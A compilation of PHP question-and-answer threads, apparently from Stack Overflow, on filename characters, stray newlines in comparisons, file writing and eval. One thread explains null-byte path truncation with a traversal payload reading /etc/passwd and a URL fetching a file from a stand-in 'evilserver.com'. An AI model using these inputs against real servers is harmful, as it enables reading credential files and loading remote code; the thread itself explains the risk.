Why is fopen() behaving like this? - php

I am currently working on this project which requires me to make a function which dinamically decides the directory name and then creates a simple .txt file in that directory.
my code is as follows:
($destinatario is a string)
$diretorio="../messages/".$destinatario;
if (is_dir($diretorio)) {
;
}else{
mkdir($diretorio);
}
$path=$diretorio."/".$data.",".$assunto.",".$remetente.".txt";
$handle=fopen($path,'w+');
fwrite($handle, $corpo);
fclose($handle);
nevermind the portuguese, but the bottom line is that it should create a .txt file using the naming guidelines i've provided. The funny thing is that when i do this, php creates this weird file whose filename is "01.09.2010 04"
(with no extension at all) which amounts to the first few characters of the actual filename i'd like to create...
edit($data is actually the output from a call to date("d.m.Y H:i"))

Per comment by OP:
[$data is] actually the output of a call to date("d.m.Y H:i")
The problem is the : character. (Still, there may be other illegal characters in the other parts composing the final file name.)
EDIT
The essence of the problem and solution is in the comments to #tchen's answer. Keep in mind that colon is a valid file name character on (some? all?) *nix platforms but is invalid on Windows.

Make sure there's no bad characters at the end of $data. Call trim() on it.
If it's data taken from a file, it may have a '\r' or '\n' at the end of it.

Not related, but make sure your if statements don't have unused conditions:
if (!is_dir($diretorio)) {
mkdir($diretorio);
}
This will also get rid of that blank line with a single terminator ;, I'm sure that isn't right.

Some ideas:
have you tried not using commas in the filename?
Have you checked the return value if fopen and fwrite?
Just to try to isolate the problem
also you can simplify to:
if (!is_dir($diretorio)) {
mkdir($diretorio);
}

Related

Which special characters can cause a file path to be misinterpreted?

For example, there is function (pseudo code):
if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }
but is it possible, that hacker in a some way, used a special symbol/method, i.e.:
path=file.php^example.mp3
or
path=file.php+example.mp3
or etc...
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
p.s. DONT POST ANSWERS about PROTECTION! I NEED TO KNOW IF THIS CODE can be bypassed, as I AM TO REPORT MANY SCRIPTS for this issue (if this is really an issue).
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
Yes, such a symbol exists; it is called the 'null byte' ("\0").
Because in C (the language used to write the PHP engine) the end of a 'string' is signalled by the null byte. So, whenever a null byte is encountered, the string will end.
If you want the string to end with .mp3 you should manually append it.
Having said that, it is, generally speaking, a very bad idea to accept a user supplied path from a security standpoint (and I believe you are interested in the security aspect of this, because you originally posted this question on security.SE).
Consider the situation where:
$_GET['path'] = "../../../../../etc/passwd\0";
or a variation on this theme.
The leading concept in programming is "Don't trust user input". So the main problem in your case is not a special character its how you work with your data. So you shouldn't use a path given by a user because the user can manipulate the path or other variables.
To escape a user input to prevent bad characters you can use htmlspecialchars or you can filter your get input with filter_input something like that:
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
WE CAN'T TELL IF YOU IF THE CODE CAN BE "BYPASSED" BECAUSE YOU'VE NOT GIVEN US ANY PHP CODE
As to the question of whether its possible to trick PHP into processing a file it shouldn't based on the end of the string, then the answer is only if there is another file somewhere else which has the same ending. However, by default, PHP will happily read from URLs using the same functionality as reading from local files, consider:
http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3

PHP variables look the same but are not equal (I'm confused)

OK, so I shave my head, but if I had hair I wouldn't need a razor because I'd have torn it all out tonight. It's gone 3am and what looked like a simple solution at 00:30 has become far from it.
Please see the code extract below..
$psusername = substr($list[$count],16);
if ($psusername == $psu_value){
$answer = "YES";
}
else {
$answer = "NO";
}
$psusername holds the value "normann" which is taken from a URL in a text based file (url.db)
$psu_value also holds the value "normann" which is retrieved from a cookie set on the user's computer (or a parameter in the browser address bar - URL).
However, and I'm sure you can guess my problem, the variable $answer contains "NO" from the test above.
All the PHP I know I've picked up from Google searches and you guys here, so I'm no expert, which is perhaps evident.
Maybe this is a schoolboy error, but I cannot figure out what I'm doing wrong. My assumption is that the data types differ. Ultimately, I want to compare the two variables and have a TRUE result when they contain the same information (i.e normann = normann).
So if you very clever fellows can point out why two variables echo what appears to be the same information but are in fact different, it'd be a very useful lesson for me and make my users very happy.
Do they echo the same thing when you do:
echo gettype($psusername) . '\n' . gettype($psu_value);
Since i can't see what data is stored in the array $list (and the index $count), I cannot suggest a full solution to yuor problem.
But i can suggest you to insert this code right before the if statement:
var_dump($psusername);
var_dump($psu_value);
and see why the two variables are not identical.
The var_dump function will output the content stored in the variable and the type (string, integer, array ec..), so you will figure out why the if statement is returning false
Since it looks like you have non-printable characters in your string, you can strip them out before the comparison. This will remove whatever is not printable in your character set:
$psusername = preg_replace("/[[:^print:]]/", "", $psusername);
0D 0A is a new line. The first is the carriage return (CR) character and the second is the new line (NL) character. They are also known as \r and \n.
You can just trim it off using trim().
$psusername = trim($psusername);
Or if it only occurs at the end of the string then rtrim() would do the job:
$psusername = rtrim($psusername);
If you are getting the values from the file using file() then you can pass FILE_IGNORE_NEW_LINES as the second argument, and that will remove the new line:
$contents = file('url.db', FILE_IGNORE_NEW_LINES);
I just want to thank all who responded. I realised after viewing my logfile the outputs in HEX format that it was the carriage return values causing the variables to mismatch and a I mentioned was able to resolve (trim) with the following code..
$psusername = preg_replace("/[^[:alnum:]]/u", '', $psusername);
I also know that the system within which the profiles and usernames are created allow both upper and lower case values to match, so I took the precaution of building that functionality into my code as an added measure of completeness.
And I'm happy to say, the code functions perfectly now.
Once again, thanks for your responses and suggestions.

writing to text file - layout messed up - PHP

ive got the following fwrite code, with , separating the data and it ending in ))
$shapeType = $_POST['shapeType'].','.$_POST['triangleSide1'].','.$_POST['triangleSide2']
.','.$_POST['triangleSide3'].','.$_POST['triangleColour'].'))';
fwrite($handle, $shapeType);
but this is how it saves in the text file...
,,,,))Triangle,180,120,80,Red))
why have the first set of
,,,,,))
appeared in front of what it should look like?
You need to add a new line character to the end of each line. Otherwise your lines will all run into each other.
Use PHP_EOL for this as it will automatically use the Operating System appropriate new line character sequence.
PHP_EOL (string)
The correct 'End Of Line' symbol for this platform.
Available since PHP 4.3.10 and PHP 5.0.2
$shapeType = $_POST['shapeType'].','.$_POST['triangleSide1'].','.$_POST['triangleSide2']
.','.$_POST['triangleSide3'].','.$_POST['triangleColour'].'))'.PHP_EOL;
FYI, this might be a little cleaner to do using sprintf():
$shapeType = sprintf("%s,%s,%s,%s,%s))%s",
$_POST['shapeType'],
$_POST['triangleSide1'],
$_POST['triangleSide2'],
$_POST['triangleSide3'],
$_POST['triangleColour'],
PHP_EOL
);
Without seeing more of the code I would guess that you post to the same file and you do not check if a POST request was made before you write your file. So probably you write to your file on a GET request as well, causing empty entries to appear.
You would need something like:
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
// ...
$shapeType = $_POST['shapeType'].','.$_POST['triangleSide1'].','.$_POST['triangleSide2']
.','.$_POST['triangleSide3'].','.$_POST['triangleColour'].'))';
fwrite($handle, $shapeType);
// ...
}
Edit: By the way, you should probably use fputcsv as that takes care of escaping quotes, should you change something in the future that adds for example a description field.

PHPExcel outputs garbled text

Like many others out there i have had my fair share of issues trying to download an Excel file output by PHPExcel.
What happened in my case was whenever I wanted to download a file using
$obj->save('php://output')
i always used to get garbled text in my excel file with a warning saying my file was corrupt. Eventually i resolved the issue. The problem being i had a
require('dbcon.php')
at the top of my php script. I just replaced that with whatever was there inside dbcon.php and it worked fine again.
Though the problem is solved i would really like to know what caused the problem. It would be great if anyone out there could help me out with this one.
Thanks.
If you get that error - you should follow the advice we always give in that situation: you use a text editor to look in the generated file for leading or trailing whitespace, or plaintext error messages - and then in your own scripts for anything that might generate that such as echo statements, blank lines outside ?> <?php, etc.
Another way of testing for this is to save to the filesystem rather than php://output and see if you get the same problem: if that works, then the problem is always something that your own script is sending to php://output as well.
Clearly you had a problem along those lines in your dbcon.php file. This can be as simple as a trailing newline after a closing ?> in the file...
Tanmay.
In situations like your's, there can be couple of reasons for broken output:
in file dbcon.php can be a whitespace before opening or ending php
tag, so that produce some chars to output and can make file broken
(this is reason for using only opening tag in php 5.3+);
maybe file dbcon.php wasn't found by require, so you got error message in otput;
any other errors or notices or warnings in dbcon.php, because presence of global vars from current file..

PHP assign variable definition from a string

Let's say I have a file "English.txt" containing these lines :
$_LANG["accountinfo"] = "Account Information";
$_LANG["accountstats"] = "Account Statistics";
Note : the file extension is .txt and there is nothing I can do to change that. There is no opening PHP tag (<?php) or anything, just those lines, period.
I need to extract and actually get the $_LANG array declared from these lines. How do I do that? Simply includeing the file echoes every line, so I do
ob_start();
include '/path/to/English.txt';
$str = ob_get_clean();
Now, if I call eval on that string, I get an syntax error, unexpected $end. Any ideas?
Thanks.
eval(file_get_contents('English.txt'));
however, be sure NOBODY can change English.txt, it could be dangerous!
First of all, note that you should use file_get_contents instead of include with output buffering. Since it contains no <?php tag, there is no need to run it through the script processor.
The following works perfectly in my tests:
<?php
$contents = file_get_contents("English.txt");
eval($contents);
var_dump($_LANG);
As one of the comments said, if you do the above and still get an error, then your file does NOT contain exactly/only those lines. Make sure the file is actually syntax compliant.
As has been mentioned, you should really use eval only as a last resort, and only if the file is as safe to execute as any code you write. In other words, it must not be editable by the outside world.

Categories